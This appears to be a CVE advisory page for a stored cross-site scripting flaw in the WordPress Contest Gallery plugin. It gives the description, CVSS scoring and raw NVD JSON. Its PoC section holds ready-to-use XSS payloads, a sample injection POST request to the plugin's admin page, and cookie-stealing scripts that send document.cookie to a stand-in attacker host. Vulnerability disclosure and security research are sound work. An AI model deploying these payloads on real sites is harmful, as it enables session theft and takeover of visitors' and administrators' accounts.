Security Vulnerability Report
中文
CVE-2025-10383 CVSS 6.4 MEDIUM

CVE-2025-10383

Published: 2025-10-04 04:16:24
Last Modified: 2026-04-15 00:35:42

Description

The Contest Gallery – Upload, Vote & Sell with PayPal and Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple form field parameters in all versions up to, and including, 27.0.2. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with author-level access or higher, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Contest Gallery 插件 <= 27.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10383 PoC - Stored XSS in WordPress Contest Gallery Plugin Vulnerable versions: <= 27.0.2 Required access: Author-level or higher --> <!-- Step 1: Login as author or higher privileged user --> <!-- Step 2: Navigate to Contest Gallery upload/form page --> <!-- Step 3: Inject malicious payload into vulnerable form fields --> <!-- Malicious payload examples for input fields --> <script>alert('XSS-CVE-2025-10383');</script> <img src=x onerror=alert(document.cookie)> <svg onload=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Vulnerable code locations: - input.php line 367 - input.php line 381 - input.php line 389 - textarea.php line 330 - textarea.php line 338 Example exploitation via HTTP POST request: --> POST /wp-admin/admin.php?page=contest-gallery HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_xxxxx=xxxxx cg_field_name=<script>alert('XSS')</script>&cg_field_value=<img src=x onerror=alert(1)>&action=save_field <!-- The injected script will be stored in the database and executed whenever any user visits the page containing the malicious content. --> <!-- Cookie stealing payload example --> <script> var img = new Image(); img.src = 'https://attacker.com/collect?cookie=' + encodeURIComponent(document.cookie); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10383", "sourceIdentifier": "[email protected]", "published": "2025-10-04T04:16:23.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contest Gallery – Upload, Vote & Sell with PayPal and Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple form field parameters in all versions up to, and including, 27.0.2. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with author-level access or higher, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/26.1.1/v10/v10-admin/upload/fields/input.php#L367", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/26.1.1/v10/v10-admin/upload/fields/input.php#L381", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/26.1.1/v10/v10-admin/upload/fields/input.php#L389", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/26.1.1/v10/v10-admin/upload/fields/textarea.php#L330", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contest-gallery/tags/26.1.1/v10/v10-admin/upload/fields/textarea.php#L338", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3372123%40contest-gallery&new=3372123%40contest-gallery&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/de379f74-660a-4e59-b1c4-4b88dff8a843?source=cve", "source": "[email protected]"}]}}